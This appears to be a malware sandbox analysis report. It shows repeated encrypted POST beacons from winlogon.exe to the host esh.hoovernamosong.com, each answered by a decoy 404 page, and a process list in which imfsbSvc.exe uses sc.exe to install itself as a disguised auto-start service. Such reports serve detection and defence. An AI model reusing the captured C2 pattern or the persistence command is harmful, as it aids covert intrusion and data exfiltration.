2024-11-28 12:23:13 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:13 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:23:13 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49746	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:23:18 UTC	387	OUT	POST /000000000075B7AE000000000075B7AE HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 115 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:23:18 UTC	115	OUT	Data Raw: b6 6d 9c 60 6e b8 df fa a3 02 9e 83 00 08 68 d0 a7 19 0a ce a2 7a af 3f 7b e1 de 1d 9b 74 a0 f5 d3 7a 56 1c 37 35 95 cb 2f 1a 7b 27 5c 35 fc 85 1e 80 82 5c 39 04 52 41 f7 04 38 3d ce 88 84 a4 26 36 58 94 3e 4b 50 49 0a 45 93 fd 56 95 1f 0e 88 d5 6c 34 93 9b c8 9d e6 bb 54 b9 03 33 d1 96 23 d2 7c 50 cc 21 1e 95 b9 f8 d0 7a 8e 8f 90 2e 85 17 9c Data Ascii: m`nhz?{tzV75/{'\5\9RA8=&6X>KPIEVl4T3#\|P!z.
2024-11-28 12:23:18 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:18 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:23:18 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49748	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:23:23 UTC	386	OUT	POST /00000000007704620000000000770462 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 94 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:23:23 UTC	94	OUT	Data Raw: b3 54 f9 76 02 d0 e4 a8 87 53 64 42 84 15 27 46 41 98 06 66 ec 7a d9 98 a6 95 8f d9 c9 c0 c4 b5 3f e7 f1 d4 64 76 f3 35 4e c2 39 57 0b d3 2c ed b4 7b ed ad 90 ec 33 c1 cb b6 ba 0e 28 57 de e0 65 f0 ef b6 9f 3e a2 5d d1 e9 c2 12 f7 76 34 3c 2b b5 33 1e 99 97 b8 ab ab 60 89 9f f3 f9 Data Ascii: TvSdB'FAfz?dv5N9W,{3(We>]v4<+3`
2024-11-28 12:23:24 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:24 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:23:24 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49751	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:23:29 UTC	387	OUT	POST /00000000007916B700000000007916B7 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 122 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:23:29 UTC	122	OUT	Data Raw: f3 f4 15 ee 9e 05 51 f8 7e df 2f 62 aa 4c ba 66 ab 46 6f 1a d1 21 84 1a cb fe f7 c2 b7 1e db 13 ff a3 b0 0c 3c 19 70 93 20 a1 21 a8 bc 72 8e 52 b0 27 9b 2d a8 ae fd 08 0e cd 79 dc 84 5f 70 96 36 be 0b 41 5c 3c 90 4f f7 08 fb c4 6b 5b c6 86 10 93 dc 6a 56 aa d8 62 8a 21 ea 20 51 0a 3b 63 67 09 4f 00 6f 81 a8 17 1a f0 fc 7a 63 f4 85 da 12 38 fa e8 c3 67 a9 52 6a 6c Data Ascii: Q~/bLfFo!<p !rR'-y_p6A\<Ok[jVb! Q;cgOozc8gRjl
2024-11-28 12:23:30 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:29 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:23:30 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49754	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:23:35 UTC	386	OUT	POST /0000000000797AE00000000000797AE0 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 26 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:23:35 UTC	26	OUT	Data Raw: eb 88 df 80 3c 9d e7 ea 84 88 0e 17 81 f0 ae 66 4c 8e 9c b4 10 dd 26 1e 18 e7 Data Ascii: <fL&
2024-11-28 12:23:35 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:35 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:23:35 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49756	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:23:40 UTC	386	OUT	POST /00000000007AEFBD00000000007AEFBD HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 56 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:23:40 UTC	56	OUT	Data Raw: 4a a9 70 14 21 52 01 c4 e6 7b 4d 76 21 d2 3f 8c 84 3d 8f 2e 20 05 00 5f 14 da 2c 1b 6c ce 59 da 95 22 1e e2 90 29 c1 6a a2 68 19 42 72 2a 2e 40 07 48 27 c9 ff 40 4d a8 Data Ascii: Jp!R{Mv!?=. _,lY")jhBr*.@H'@M
2024-11-28 12:23:41 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:41 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:23:41 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49759	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:23:47 UTC	386	OUT	POST /00000000007BF22900000000007BF229 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 77 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:23:47 UTC	77	OUT	Data Raw: f6 42 09 2a 47 c1 0f a1 6c fe b9 37 d4 a3 12 9e fd ef 88 dd ef 9a 7a 63 c3 6a 07 75 07 aa e9 d8 e0 35 be 0e d7 1d 0c 81 54 92 68 5b ba 64 e9 d8 df 0d 4b cf 87 50 3d 9a d5 3c 22 ba f5 1e 0f a3 7c 79 96 7a 63 3c 76 d1 ff 99 4f 81 f3 Data Ascii: B*Gl7zcju5Th[dKP=<"\|yzc<vO
2024-11-28 12:23:47 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:47 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:23:47 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49762	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:23:53 UTC	387	OUT	POST /00000000007E2C2B00000000007E2C2B HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 140 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:23:53 UTC	140	OUT	Data Raw: 5f 3c f4 5d 92 34 f8 44 37 8b 42 e2 31 3a 3b 6a 72 fc 47 dc 90 ae a5 cd f4 fb b3 a3 7d e1 f7 a0 93 13 14 15 db ac 12 d2 8d 29 ec 42 f8 b3 84 95 c0 4a 23 c5 54 bf ea f6 e5 86 89 8f 54 f8 1c 9c d0 fd 80 6f 17 4f ac d4 b0 ad 74 ec 0a 5a 86 20 78 92 ca 43 0b 4d ad 3c 4d de 9a 9f 18 ef 7a bb a0 50 8a ec ee c1 32 ff bb 60 dd d3 52 ba f1 fb c3 f6 a0 a9 02 4c 80 99 ca d1 1f e3 3f dd 49 f5 42 c7 c1 92 67 60 a3 14 b1 e9 32 1d Data Ascii: _<]4D7B1:;jrG})BJ#TToOtZ xCM<MzP2`RL?IBg`2
2024-11-28 12:23:53 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:53 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:23:53 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49765	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:23:59 UTC	386	OUT	POST /00000000007F068E00000000007F068E HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 73 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:23:59 UTC	73	OUT	Data Raw: 16 3d bc a3 7f 08 1b e0 2d 94 d0 62 99 b7 22 8f 8e 7d 36 ac de 11 dc 17 1c 10 f7 73 9c 63 6f b9 bd 1b fa fd 14 ca 7f 4e 56 ee 67 e7 d7 37 7f 5f a6 4e 43 f5 f4 3b bd 19 f9 90 d9 fe 28 99 4f bc 9a e3 f7 0a 33 34 b3 54 5b Data Ascii: =-b"}6scoNVg7_NC;(O34T[
2024-11-28 12:23:59 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:59 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:23:59 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49767	160.16.200.77	443	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:24:04 UTC	386	OUT	POST /00000000007F90EB00000000007F90EB HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 68 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-28 12:24:04 UTC	68	OUT	Data Raw: 72 37 21 c5 83 13 c8 d8 d4 17 69 68 14 07 66 d5 a6 60 52 f1 37 f1 4a 53 a4 49 d1 bd d3 81 ea df e9 b8 39 18 d5 01 1a 3f 03 f8 b3 a5 1d 6d 30 a6 c3 e5 93 3a 10 9f 67 5f 2d 4f 3d d8 b3 26 03 b5 64 53 70 cb Data Ascii: r7!ihf`R7JSI9?m0:g_-O=&dSp
2024-11-28 12:24:05 UTC	159	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:24:05 GMT Content-Type: text/html Content-Length: 564 Connection: close
2024-11-28 12:24:05 UTC	564	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable

Target ID:	0
Start time:	07:22:03
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\imfsbSvc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\imfsbSvc.exe"
Imagebase:	0x7ff68de20000
File size:	347'344 bytes
MD5 hash:	CA73DA8345DE507AC023D52B4B5C1814
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:22:03
Start date:	28/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe
Imagebase:	0x7ff61fa50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:22:04
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff746ee0000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:22:04
Start date:	28/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc create "IObit" DisplayName= "Platinum user session wrapper" binPath= "C:\ProgramData\IObit\imfsbSvc.exe" type= own start= auto error= ignore
Imagebase:	0x7ff743950000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

